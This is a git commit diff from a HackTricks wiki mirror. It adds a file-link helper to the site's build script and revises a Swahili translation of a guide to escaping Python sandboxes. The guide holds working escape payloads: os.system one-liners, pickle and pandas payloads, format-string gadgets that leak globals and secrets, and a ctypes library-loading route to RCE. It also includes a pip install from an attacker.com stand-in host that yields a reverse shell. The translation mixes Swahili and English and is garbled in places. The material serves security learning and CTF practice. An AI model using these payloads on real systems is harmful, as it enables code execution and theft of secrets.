mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
adb546aec7
commit
64e42cd5ce
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za python sandbox na kutekeleza amri zisizo na mipaka.
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sanduku la python na kutekeleza amri zisizo na mipaka.
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
@ -41,10 +41,9 @@ system('ls')
|
||||
```
|
||||
Kumbuka kwamba _**open**_ na _**read**_ kazi zinaweza kuwa na manufaa ili **kusoma faili** ndani ya sandbox ya python na **kuandika baadhi ya msimbo** ambao unaweza **kutekeleza** ili **kuepuka** sandbox.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Python2 input()** kazi inaruhusu kutekeleza msimbo wa python kabla ya programu kuanguka.
|
||||
> [!CAUTION] > **Python2 input()** kazi inaruhusu kutekeleza msimbo wa python kabla ya programu kuanguka.
|
||||
|
||||
Python hujaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuatayo itachapisha mahali python inachota moduli kutoka): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python inajaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuatayo itachapisha mahali python inachota moduli kutoka): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -54,7 +53,7 @@ Python hujaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuat
|
||||
|
||||
Unaweza kupata **orodha ya pakiti zilizowekwa awali** hapa: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba zisizo za kawaida** zilizowekwa kwenye mfumo.\
|
||||
Kwa mfano, pickle ifuatayo, itakapoloadiwa, itakuwa inagiza maktaba ya pip kuitumia:
|
||||
Kwa mfano, pickle ifuatayo, itakapochukuliwa, itakuwa inagiza maktaba ya pip kuitumia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -69,18 +68,20 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Kwa maelezo zaidi kuhusu jinsi pickle inavyofanya kazi angalia hii: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pakiti ya Pip
|
||||
### Kifurushi cha Pip
|
||||
|
||||
Hila ilishirikiwa na **@isHaacK**
|
||||
|
||||
Ikiwa una ufikiaji wa `pip` au `pip.main()` unaweza kufunga pakiti yoyote na kupata shell ya kurudi kwa kuita:
|
||||
Ikiwa una ufikiaji wa `pip` au `pip.main()` unaweza kufunga kifurushi chochote na kupata shell ya nyuma kwa kuita:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Unaweza kupakua kifurushi cha kuunda shell ya kurudi hapa. Tafadhali, kumbuka kwamba kabla ya kukitumia unapaswa **kufungua, kubadilisha `setup.py`, na kuweka IP yako kwa shell ya kurudi**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Kifurushi hiki kinaitwa `Reverse`. Hata hivyo, kimeandaliwa kwa namna kwamba unapokuwa unakimbia shell ya kurudi, sehemu nyingine ya usakinishaji itashindwa, hivyo **hutakuwa na kifurushi kingine cha python kilichosakinishwa kwenye seva** unapondoka.
|
||||
@ -90,7 +91,7 @@ Unaweza kupakua kifurushi cha kuunda shell ya kurudi hapa. Tafadhali, kumbuka kw
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba exec inaruhusu nyuzi nyingi na ";", lakini eval haifanyi hivyo (angalia opereta wa walrus)
|
||||
|
||||
Ikiwa wahusika fulani wamepigwa marufuku unaweza kutumia **hex/octal/B64** uwakilishi ili **kuepuka** vizuizi:
|
||||
Ikiwa wahusika fulani wamepigwa marufuku unaweza kutumia uwakilishi wa **hex/octal/B64** ili **kuepuka** kizuizi:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -125,7 +126,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Watoa na mbinu fupi
|
||||
## Watoa na hila fupi
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -147,7 +148,7 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Inawezekana pia kuipita kwa kutumia encoding nyingine, mfano `raw_unicode_escape` na `unicode_escape`.
|
||||
Inawezekana pia kuipita kwa kutumia uandishi mwingine, mfano `raw_unicode_escape` na `unicode_escape`.
|
||||
|
||||
## Utekelezaji wa Python bila simu
|
||||
|
||||
@ -233,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Kuunda vitu kwa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Jambo muhimu ambalo metaclasses linaturuhusu kufanya ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
Jambo muhimu ambalo metaclasses linatufanya tufanye ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -306,7 +307,7 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ikiwa unaweza kufikia kipengee cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa maandiko ulioonyeshwa katika sehemu ya mwisho):
|
||||
Ikiwa unaweza kufikia kipengee cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
@ -400,15 +401,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Hapa kuna kazi kubwa zaidi**](#recursive-search-of-builtins-globals) ya kutafuta makumi/**mamia** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
[**Hapa kuna kazi kubwa zaidi**](#recursive-search-of-builtins-globals) ya kutafuta makumi/**miyamoja** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
|
||||
## Gundua Utendaji wa Kijumla
|
||||
## Gundua Utekelezaji wa Kijichaguliwa
|
||||
|
||||
Hapa nataka kuelezea jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mashambulizi ya kuaminika zaidi.
|
||||
|
||||
#### Kufikia subclasses kwa njia za kupita
|
||||
|
||||
Moja ya sehemu nyeti zaidi za mbinu hii ni uwezo wa **kufikia subclasses za msingi**. Katika mifano ya awali hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia nyingine zinazowezekana**:
|
||||
Moja ya sehemu nyeti zaidi za mbinu hii ni kuwa na uwezo wa **kufikia subclasses za msingi**. Katika mifano ya awali hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia nyingine zinazowezekana**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -438,7 +439,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Kupata maktaba hatari zilizopakiwa
|
||||
|
||||
Kwa mfano, kujua kwamba na maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zinaagiza sys ndani yao**:
|
||||
Kwa mfano, kujua kwamba na maktaba **`sys`** inawezekana **kuagiza maktaba za kiholela**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
@ -447,7 +448,7 @@ Kuna nyingi, na **tunahitaji moja tu** ili kutekeleza amri:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Tunaweza kufanya jambo lile lile na **maktaba nyingine** ambazo tunajua zinaweza kutumika **kutekeleza amri**:
|
||||
Tunaweza kufanya kitu kama hicho na **maktaba nyingine** ambazo tunajua zinaweza kutumika **kutekeleza amri**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -501,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuita kazi kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba nyingine** zinaweza **kuitisha kazi za kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -534,10 +535,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Utafutaji wa Kijirudi wa Builtins, Globals...
|
||||
## Recursive Search of Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Hii ni **ajabu** tu. Ikiwa unatafuta **kitu kama globals, builtins, open au chochote** tumia tu skripti hii ili **kijirudi kutafuta maeneo ambapo unaweza kupata kitu hicho.**
|
||||
> Hii ni **ajabu** tu. Ikiwa unatafuta **kitu kama globals, builtins, open au chochote** tumia tu skripti hii ili **kupata mahali ambapo unaweza kupata kitu hicho kwa njia ya kurudiarudia.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -653,7 +654,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:
|
||||
Unaweza kuangalia matokeo ya script hii kwenye ukurasa huu:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
@ -661,7 +662,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Ikiwa unatumia **string** kwa python ambayo itafanywa **format**, unaweza kutumia `{}` kufikia **taarifa za ndani za python.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
Ikiwa unatumia **string** kwa python ambayo itakuwa **formatted**, unaweza kutumia `{}` kufikia **habari za ndani za python.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Kumbuka jinsi unaweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **kipengele cha dict** kwa kutumia **parenthesis** bila nukuu `__globals__[CONFIG]`
|
||||
Kumbuka jinsi unaweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **element ya dict** kwa kutumia **parenthesis** bila nukuu `__globals__[CONFIG]`
|
||||
|
||||
Pia kumbuka kwamba unaweza kutumia `.__dict__` kuorodhesha vipengele vya kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
@ -704,13 +705,13 @@ return 'HAL 9000'
|
||||
**Mifano zaidi** kuhusu **format** **string** mifano inaweza kupatikana katika [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Angalia pia ukurasa ufuatao kwa gadgets ambazo zitachukua **habari nyeti kutoka kwa vitu vya ndani vya Python**:
|
||||
> Angalia pia ukurasa ufuatao kwa gadgets ambazo zita r**ead sensitive information from Python internal objects**:
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Mifumo ya Ufunuo wa Habari Nyeti
|
||||
### Payloads za Kufichua Taarifa Nyeti
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -732,16 +733,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
|
||||
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Kulingana na [**TypeMonkey chall kutoka kwa andiko hili**](https://corgi.rip/posts/buckeye-writeups/), inawezekana kupakia maktaba zisizo za kawaida kutoka kwenye diski kwa kutumia udhaifu wa format string katika python.
|
||||
Kulingana na [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/), inawezekana kupakia maktaba za kiholela kutoka diski kwa kutumia udhaifu wa format string katika python.
|
||||
|
||||
Kama ukumbusho, kila wakati kitendo kinapofanywa katika python, kazi fulani inatekelezwa. Kwa mfano `2*3` itatekeleza **`(2).mul(3)`** au **`{'a':'b'}['a']`** itakuwa **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Una zaidi kama hii katika sehemu [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Udhaifu wa format string wa python hauwezi kuruhusu kutekeleza kazi (hauwezi kutumia mabano), hivyo haiwezekani kupata RCE kama `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Hata hivyo, inawezekana kutumia `[]`. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina **`__getitem__`** au **`__getattr__`** ambayo inatekeleza msimbo usio wa kawaida, inawezekana kuutumia vibaya ili kupata RCE.
|
||||
Hata hivyo, inawezekana kutumia `[]`. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina **`__getitem__`** au **`__getattr__`** ambayo inatekeleza msimbo wa kiholela, inawezekana kuutumia kupata RCE.
|
||||
|
||||
Kutafuta gadget kama hiyo katika python, andiko linapendekeza hii [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Ambapo alipata hii [moja](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Kutafuta gadget kama hiyo katika python, ripoti inatoa hii [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Ambapo alipata hii [moja](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -767,16 +768,16 @@ Kifaa hiki kinaruhusu **kupakia maktaba kutoka kwa diski**. Hivyo, inahitajika k
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Changamoto hii inatumia udhaifu mwingine katika seva ambao unaruhusu kuunda faili za kiholela kwenye diski za seva.
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
|
||||
## Kuchambua Vitu vya Python
|
||||
## Dissecting Python Objects
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa unataka **kujifunza** kuhusu **python bytecode** kwa undani soma hii **ajabu** chapisho kuhusu mada: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** hiyo ili kuichomoa.
|
||||
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
||||
|
||||
Hii ndiyo kazi ya kuchunguza:
|
||||
This is the function to inspect:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -796,7 +797,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` na `func_globals`(Sawia) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona baadhi ya moduli zilizoorodheshwa, baadhi ya mabadiliko ya kimataifa na maudhui yao yaliyotangazwa:
|
||||
`__globals__` na `func_globals`(Sawia) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona baadhi ya moduli zilizoorodheshwa, baadhi ya vigezo vya kimataifa na maudhui yao yaliyotangazwa:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -922,7 +923,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
## Kuunda Python
|
||||
|
||||
Sasa, hebu tufikirie kwamba kwa namna fulani unaweza **kutoa taarifa kuhusu kazi ambayo huwezi kuendesha** lakini unahitaji **kuendesha**.\
|
||||
